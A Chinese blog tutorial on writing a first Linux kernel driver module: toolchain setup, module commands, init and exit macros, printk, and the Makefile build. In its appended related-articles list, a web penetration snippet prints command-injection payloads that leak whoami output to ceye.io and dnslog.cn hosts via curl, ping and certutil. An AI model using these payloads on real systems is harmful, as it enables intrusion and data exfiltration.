Linux驱动开发—编写第一个最简单的驱动模块
文章目录
- 开发驱动准备工作
- 1.正常运行的Linux系统的开发板
- 2.内核源码树
- 3.nfs挂载的rootfs
- 4.得心趁手的IDE
- 第一个Hello world 驱动程序
- 常见模块的操作命令
- 模块的初始化和清理
- 模块的版本信息
- 模块中的各种宏
- 示例Hello World代码
- printk函数解析
- 使用MakeFile编译驱动模块
- 使用insmod加载模块
开发驱动准备工作
1.正常运行的Linux系统的开发板
开发板中的Linux的Image必须是自己编译的,不能是别人编译的。笔者用的是IMX8QM的开发板,任何开发板都是一样的流程。
2.内核源码树
其实就是一个经过配置编译之后的内核源码。编译驱动的过程中就要用到内核源码树。编写代码的时候,需要用到系统内核的头文件,因此一定要有内核源码,
3.nfs挂载的rootfs
尽管内核是linux的核心,但文件却是**用户与操作系统交互所采用的主要工具。**这对linux来说尤其如此,这是因为在UNIX传统中,它使用文件I/O机制管理硬件设备和数据文件。根文件系统首先是一种文件系统,该文件系统不仅具有普通文件系统的存储数据文件的功能,但是相对于普通的文件系统,它的特殊之处在于,它是内核启动时所挂载(mount)的第一个文件系统,内核代码的映像文件保存在根文件系统中,系统引导启动程序会在根文件系统挂载之后从中把一些初始化脚本(如rcS,inittab)和服务加载到内存中去运行。我们要明白文件系统和内核是完全独立的两个部分。在嵌入式中移植的内核下载到开发板上,是没有办法真正的启动Linux操作系统的,会出现无法加载文件系统的错误。一套linux体系,只有内核本身是不能工作的,必须要rootfs(上的etc目录下的配置文件、/bin /sbin等目录下的shell命令,还有/lib目录下的库文件等···)相配合才能工作。Linux启动时,第一个必须挂载的是根文件系统;若系统不能从指定设备上挂载根文件系统,则系统会出错而退出启动。成功之后可以自动或手动挂载其他的文件系统。因此,一个系统中可以同时存在不同的文件系统。在 Linux 中将一个文件系统与一个存储设备关联起来的过程称为挂载(mount)。使用 mount 命令将一个文件系统附着到当前文件系统层次结构中(根)。在执行挂装时,要提供文件系统类型、文件系统和一个挂装点。根文件系统被挂载到根目录下“/”上后,在根目录下就有根文件系统的各个目录,文件:/bin /sbin /mnt等,再将其他分区挂接到/mnt目录上,/mnt目录下就有这个分区的各个目录和文件。
4.得心趁手的IDE
这里使用的是Vscode,配置过程如下:
在Ubuntu桌面新建文件夹
mkdir 8qm_driver
用Vscode打开新建的文件夹,可以使用在新建的文件夹内使用终端命令
code .
配置头文件目录
使用快捷键 Ctrl+Shift+P 选择编辑配置
输入以下内容
{"configurations": [{"name": "Linux","includePath": ["/home/marxist/8qm源码/imx_4.14.98_2.0.0_ga/include","${workspaceFolder}/**"],"defines": ["__GNUC__","__KERNEL__"],"compilerPath": "/usr/bin/gcc","cStandard": "c17","cppStandard": "gnu++14","intelliSenseMode": "linux-gcc-arm64"}],"version": 4
}
注意:在includePath 块中,换成你的Linux内核源码的路径,一定要是和你的目标机的源码一致
比如我的目标机的Linux版本为 4.14.98
那么编译的时候内核源码也为4.14.98
当年初学驱动的时候,就因为版本不一致,dmesg一直报错,提示vermagic不一致,查了一天资料才发现这个问题,┭┮﹏┭┮
第一个Hello world 驱动程序
常见模块的操作命令
在Linux系统中,管理内核模块的常见命令包括lsmod
、insmod
、rmmod
、modinfo
等。这些命令用于列出、加载、卸载和查看内核模块的详细信息。
-
lsmod
- 作用:列出当前加载到内核中的所有模块。
- 用法:直接运行
lsmod
命令,无需参数。 - 输出:模块名称、使用次数及相关模块。
lsmod
-
insmod
- 作用:加载已编译的内核模块。
- 用法:
insmod <module_file.ko>
- 注意:加载时需要提供模块的完整路径。常用于开发阶段,手动加载模块测试。
sudo insmod my_driver.ko
-
modinfo
- 作用:显示模块的详细信息,包括依赖、版本信息、许可证等。
- 用法:
modinfo <module_file.ko>
- 输出示例:
depends
:显示模块依赖的其他模块。vermagic
:显示模块编译时的内核版本和相关信息。
modinfo my_driver.ko
-
rmmod
- 作用:卸载已加载的模块。
- 用法:
rmmod <module_name>
- 注意:模块名称不带文件扩展名
.ko
,卸载时只需提供模块名。
sudo rmmod my_driver
模块的初始化和清理
模块源代码通常使用module_init
宏声明初始化函数。这个宏指定的函数在模块加载时(使用insmod
命令)自动调用,例如:
static int __init chrdev_init(void)
{printk(KERN_INFO "Initializing character device\n");return 0;
}module_init(chrdev_init);
module_init
的作用是将chrdev_init
函数与insmod
命令绑定。当运行insmod
时,这个函数被调用。初始化函数中的输出通常使用printk
打印,可以通过dmesg
命令查看内核消息。
模块的版本信息
- 内核模块的版本信息由
vermagic
字段表示。vermagic
包含了内核版本号、编译器版本等信息。加载模块时,vermagic
必须与当前运行的内核版本一致,否则insmod
会失败。这是为了确保模块与内核的兼容性和系统的稳定性。
模块中的各种宏
-
MODULE_LICENSE
- 作用:声明模块的许可证类型。常见的值包括"GPL"(开源)和"Proprietary"(私有)。
- 示例:
MODULE_LICENSE("GPL");
- 注意:使用GPL许可证表示模块遵循开源协议,加载时不会受到限制。
-
MODULE_AUTHOR
- 作用:声明模块的作者信息。
- 示例:
MODULE_AUTHOR("Author Name");
-
module_init 和 module_exit
-
作用:
module_init
宏用于指定模块的初始化函数,module_exit
宏用于指定模块的清理函数。 -
示例:
module_init(chrdev_init); module_exit(chrdev_exit);
-
-
__init 和 __exit
-
作用:这些宏用于标记初始化和清理函数。
__init
标记的函数在模块加载后被释放,以节省内存。__exit
标记的函数在模块卸载时调用。 -
示例:
static int __init chrdev_init(void) {printk(KERN_INFO "Initializing character device\n");return 0; }static void __exit chrdev_exit(void) {printk(KERN_INFO "Exiting character device\n"); }
-
示例Hello World代码
新建一个kernel_test.c
#include <linux/init.h>
#include <linux/module.h>//在模块加载到内核程序中被执行一次
int __init test_init(void){printk("Hello World\n");return 0;
}
//在模块从内核驱动中卸载时执行一次
void __exit test_exit(void)
{printk("Goodbye World\n");}
module_init(test_init); //注册此模块加载的回调函数
module_exit(test_exit); //注册此模块卸载的回调函数
MODULE_LICENSE("GPL"); //声明遵循协议
printk函数解析
(1)printk在内核源码中用来打印信息的函数,用法和printf非常相似。
(2)printk和printf最大的差别:printf是C库函数,是在应用层编程中使用的,不能在linux内核源代码中使用;printk是linux内核源代码中自己封装出来的一个打印函数,是内核源码中的一个普通函数,只能在内核源码范围内使用,不能在应用编程中使用。
(3)printk相比printf来说还多了个:打印级别的设置。printk的打印级别是用来控制printk打印的这条信息是否在终端上显示的。应用程序中的调试信息要么全部打开要么全部关闭,一般用条件编译来实现(DEBUG宏),但是在内核中,因为内核非常庞大,打印信息非常多,有时候整体调试内核时打印信息要么太多找不到想要的要么一个没有没法调试。所以才有了打印级别这个概念。
(4)操作系统的命令行中也有一个打印信息级别属性,值为0-7。当前操作系统中执行printk的时候会去对比printk中的打印级别和我的命令行中设置的打印级别,小于我的命令行设置级别的信息会被放行打印出来,大于的就被拦截的。譬如我的ubuntu中的打印级别默认是4,那么printk中设置的级别比4小的就能打印出来,比4大的就不能打印出来。
(5)ubuntu中这个printk的打印级别控制没法实践,ubuntu中不管你把级别怎么设置都不能直接打印出来,必须dmesg命令去查看
使用MakeFile编译驱动模块
在源码同级别目录新建一个MakeFile文件,内容如下:
obj-m += kernel_test.o
all:make -C /home/marxist/8qm源码/imx_4.14.98_2.0.0_ga M=$(PWD) modules
clean:make -C /home/marxist/8qm源码/imx_4.14.98_2.0.0_ga M=$(PWD) clean
(1)KERN_DIR,变量的值就是我们用来编译这个模块的内核源码树的目录
(2)obj-m += kernel_test.o,这一行就表示我们要将kernel_test.c文件编译成一个模块
(3)make -C $(KERN_DIR) M=pwd modules 这个命令用来实际编译模块,工作原理就是:利用make -C进入到我们指定的内核源码树目录下,然后在源码目录树下借用内核源码中定义的模块编译规则去编译这个模块,编译完成后把生成的文件还拷贝到当前目录下,完成编译。
(4)make clean ,用来清除编译痕迹
模块的makefile非常简单,本身并不能完成模块的编译,而是通过make -C进入到内核源码树下借用内核源码的体系来完成模块的编译链接的,这个Makefile本身是非常模式化的,3和4 部分是永远不用动的,只有1和2需要动。1是内核源码树的目录,必须根据自己的编译环境来调整
保存文件之后,在MakeFile的同级目录,直接执行 make
命令即可
成功之后,出现很多的文件,只有ko文件,才是最终能够被加载进内核的模块,其余的都是中间编译连接生成的文件
使用insmod加载模块
将编译好的模块传输到目标机器上 使用insmod
加载,成功之后,使用dmesg
命令可以查看打印的信息
使用rmmod
命令可以卸载模块,同时执行exit函数
使用modinfo
查看模块信息
至此,第一个Hello world 驱动就编写成功了
相关文章:

Linux驱动开发—编写第一个最简单的驱动模块
文章目录 开发驱动准备工作1.正常运行的Linux系统的开发板2.内核源码树3.nfs挂载的rootfs4.得心趁手的IDE 第一个Hello world 驱动程序常见模块的操作命令模块的初始化和清理模块的版本信息模块中的各种宏 示例Hello World代码printk函数解析 使用MakeFile编译驱动模块使用insm…...

科普文:微服务之Spring Cloud 组件API网关Gateway
API网关是一个服务器,是系统的唯一入口。从面向对象设计的角度看,它与外观模式类似。API网关封装了系统内部架构,为每个客户端提供一个定制的API。它可能还具有其它职责,如身份验证、监控、负载均衡、缓存、请求分片与管理、静态响…...

Kubernetes中的CRI、CNI与CSI:深入理解云原生存储、网络与容器运行时
引言 随着云原生技术的飞速发展,Kubernetes(简称K8s)作为云原生应用的核心调度平台,其重要性日益凸显。K8s通过开放一系列接口,实现了高度的可扩展性和灵活性,其中CRI(Container Runtime Inter…...

【数据结构】二叉搜索树(Java + 链表实现)
Hi~!这里是奋斗的明志,很荣幸您能阅读我的文章,诚请评论指点,欢迎欢迎 ~~ 🌱🌱个人主页:奋斗的明志 🌱🌱所属专栏:数据结构、LeetCode专栏 📚本系…...
java Brotli压缩算法实现压缩、解压缩
在Java中实现Brotli压缩和解压缩,你可以使用org.brotlienc和org.brotlidec包中的类。以下是压缩和解压缩的基本步骤和示例代码: 压缩文件 创建FileInputStream以读取原始文件。创建BrotliOutputStream以写入压缩数据。读取原始文件并写入压缩流。关闭流…...
centos7.9 安装java相关组件
10.23.15.71 - 78 账户 admin IMES1 改为root再操作 $ sudo su root ($ su root) 下载包 /home/admin/download $ mkdir download $ chown -R admin:admin /home/admin/download 安装包 /data/local $ tar -sxvf jdk-11.0.23_linux-x64_bin.tar.gz -C /data/local $ mv jdk…...

在IntelliJ IDEA中,快速找到控制类(Controller类)中所有的方法,可以通过以下几种方式实现:
在IntelliJ IDEA中,快速找到控制类(Controller类)中所有的方法,可以通过以下几种方式实现: 1. 使用快捷键 Alt 7 操作说明:在IDEA中,按下Alt 7可以快速打开“Structure”窗口(在…...
ChatGPT的强大之处:探究及与国内产品的对比
论文题目:ChatGPT的强大之处:探究及与国内产品的对比 摘要 ChatGPT作为一种广泛应用的人工智能语言模型,自发布以来迅速走红全球。本文旨在探讨ChatGPT是否真如其流行程度所示那般强大,并对比其与国内类似产品的优劣,深…...

MySql审计平台
安装方式: cookieY/Yearning: 🐳 A most popular sql audit platform for mysql (github.com) 对数据库的一系列后台操作 AI助手 - AI助手提供SQL优化建议,帮助用户优化SQL语句,以获得更好的性能。同时AI助手还提供文本到SQL的…...

深度学习6--深度神经网络
1.VGG网络 在图像分 类这个领域中,深度卷积网络一般由卷积模块和全连接模块组成。 (1)卷积模块包含卷积层、池化层、Dropout 层、激活函数等。普遍认为,卷积模块是对 图像特征的提取,并不是对图像进行分类。 (2)全连接模块跟在卷积模块之后&…...

有了Power BI还需要深入学习Excel图表制作吗?
Power BI和Excel都是微软公司的产品,但它们在数据分析和可视化方面有着不同的定位和功能。 Power BI是一个强大的商业分析工具,它提供了数据集成、数据建模、报告和仪表板的创建等功能。Power BI 特别适合处理大量数据,并且可以连接到多种数…...

WEB渗透Web突破篇-命令执行
命令执行 >curl http://0ox095.ceye.io/whoami >ping whoami.b182oj.ceye.io >ping %CD%.lfofz7.dnslog.cn & cmd /v /c "whoami > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 &…...

【MYSQL】表操作
目录 查看当前数据库含有表查看表结构创建表插入(新增create)查询(retrieve)全列查询指定列查询查询列是表达式别名查询(as)去重查询(distinct)排序查询(order by)条件查询(where)比较/逻辑运算符使用 分页查询(limit) 一条语句各…...

破解USB设备通讯协议实现自定义软件控制的步骤与方法
在设备和计算机之间通过USB进行通讯的情况下,厂家提供的软件可以控制设备,但没有提供任何其他资料和支持,这种情况下,若希望自行开发软件来实现同样的功能,可以通过以下步骤破解通讯协议并开发自定义程序。 1. 捕获US…...
FFmpeg源码:av_init_packet、get_packet_defaults、av_packet_alloc函数分析
一、av_init_packet函数 av_init_packet函数定义在FFmpeg源码(本文演示用的FFmpeg源码版本为7.0.1)的源文件libavcodec/avpacket.c中: /*** Initialize optional fields of a packet with default values.** Note, this does not touch the…...

HarmonyOS应用开发知识地图
HarmonyOS 应用开发旅程 HarmonyOS 应用开发旅程 PS:Xmind原文件可以直接跳转官方具体文档地址,如需要原文件请联系:DYZZ198 01.准备与学习 学习 HarmonyOS 的基本概念和架构,搭建好所需的开发工具和环境,了解开发规范和最佳实践 了解 H…...

了解反向代理如何工作吗?
在当今数字化时代,网络通讯扮演着重要的角色,而代理技术为网络通讯提供了更多的灵活性和安全性。作为两种重要的代理技术,代理服务器和反向代理的运行原理和用途各有不同。本文将重点介绍反向代理的运行原理,深入探讨其在网络通讯…...

ASCII码对照表
常用 ASCII 码详细对照表 (0—255) 第 0~32 号及第 127 号(共 34 个)是控制字符或通讯专用字符,如控制符:LF (换行)、CR(回车)、FF(换页)、DEL&am…...

Git的一些简单使用
下列内容适用于git初学者,从创建本地git仓库到提交的一个基本过程1. 1.创建git仓库 在想创建git仓库的路径下打开git bash,输入以下命令行创建仓库(一般来说,我觉得直接在code workspace得地方创建git仓库就可以了,这…...

C++基础语法(下)
前言 上一篇文章介绍了部分的引用,这里主要对引用的特点,引用与指针区别的进行区分,const引用权限的使用,内联函数的讲解。 引用特性 引用在定义时必须进行初始化一个变量可以有多个引用引用一旦引用一个实体,再不能…...
React Native 导航系统实战(React Navigation)
导航系统实战(React Navigation) React Navigation 是 React Native 应用中最常用的导航库之一,它提供了多种导航模式,如堆栈导航(Stack Navigator)、标签导航(Tab Navigator)和抽屉…...
测试markdown--肇兴
day1: 1、去程:7:04 --11:32高铁 高铁右转上售票大厅2楼,穿过候车厅下一楼,上大巴车 ¥10/人 **2、到达:**12点多到达寨子,买门票,美团/抖音:¥78人 3、中饭&a…...
虚拟电厂发展三大趋势:市场化、技术主导、车网互联
市场化:从政策驱动到多元盈利 政策全面赋能 2025年4月,国家发改委、能源局发布《关于加快推进虚拟电厂发展的指导意见》,首次明确虚拟电厂为“独立市场主体”,提出硬性目标:2027年全国调节能力≥2000万千瓦࿰…...
【学习笔记】erase 删除顺序迭代器后迭代器失效的解决方案
目录 使用 erase 返回值继续迭代使用索引进行遍历 我们知道类似 vector 的顺序迭代器被删除后,迭代器会失效,因为顺序迭代器在内存中是连续存储的,元素删除后,后续元素会前移。 但一些场景中,我们又需要在执行删除操作…...
探索Selenium:自动化测试的神奇钥匙
目录 一、Selenium 是什么1.1 定义与概念1.2 发展历程1.3 功能概述 二、Selenium 工作原理剖析2.1 架构组成2.2 工作流程2.3 通信机制 三、Selenium 的优势3.1 跨浏览器与平台支持3.2 丰富的语言支持3.3 强大的社区支持 四、Selenium 的应用场景4.1 Web 应用自动化测试4.2 数据…...

毫米波雷达基础理论(3D+4D)
3D、4D毫米波雷达基础知识及厂商选型 PreView : https://mp.weixin.qq.com/s/bQkju4r6med7I3TBGJI_bQ 1. FMCW毫米波雷达基础知识 主要参考博文: 一文入门汽车毫米波雷达基本原理 :https://mp.weixin.qq.com/s/_EN7A5lKcz2Eh8dLnjE19w 毫米波雷达基础…...

QT开发技术【ffmpeg + QAudioOutput】音乐播放器
一、 介绍 使用ffmpeg 4.2.2 在数字化浪潮席卷全球的当下,音视频内容犹如璀璨繁星,点亮了人们的生活与工作。从短视频平台上令人捧腹的搞笑视频,到在线课堂中知识渊博的专家授课,再到影视平台上扣人心弦的高清大片,音…...
二维FDTD算法仿真
二维FDTD算法仿真,并带完全匹配层,输入波形为高斯波、平面波 FDTD_二维/FDTD.zip , 6075 FDTD_二维/FDTD_31.m , 1029 FDTD_二维/FDTD_32.m , 2806 FDTD_二维/FDTD_33.m , 3782 FDTD_二维/FDTD_34.m , 4182 FDTD_二维/FDTD_35.m , 4793...

C++11 constexpr和字面类型:从入门到精通
文章目录 引言一、constexpr的基本概念与使用1.1 constexpr的定义与作用1.2 constexpr变量1.3 constexpr函数1.4 constexpr在类构造函数中的应用1.5 constexpr的优势 二、字面类型的基本概念与使用2.1 字面类型的定义与作用2.2 字面类型的应用场景2.2.1 常量定义2.2.2 模板参数…...

统计按位或能得到最大值的子集数目
我们先来看题目描述: 给你一个整数数组 nums ,请你找出 nums 子集 按位或 可能得到的 最大值 ,并返回按位或能得到最大值的 不同非空子集的数目 。 如果数组 a 可以由数组 b 删除一些元素(或不删除)得到,…...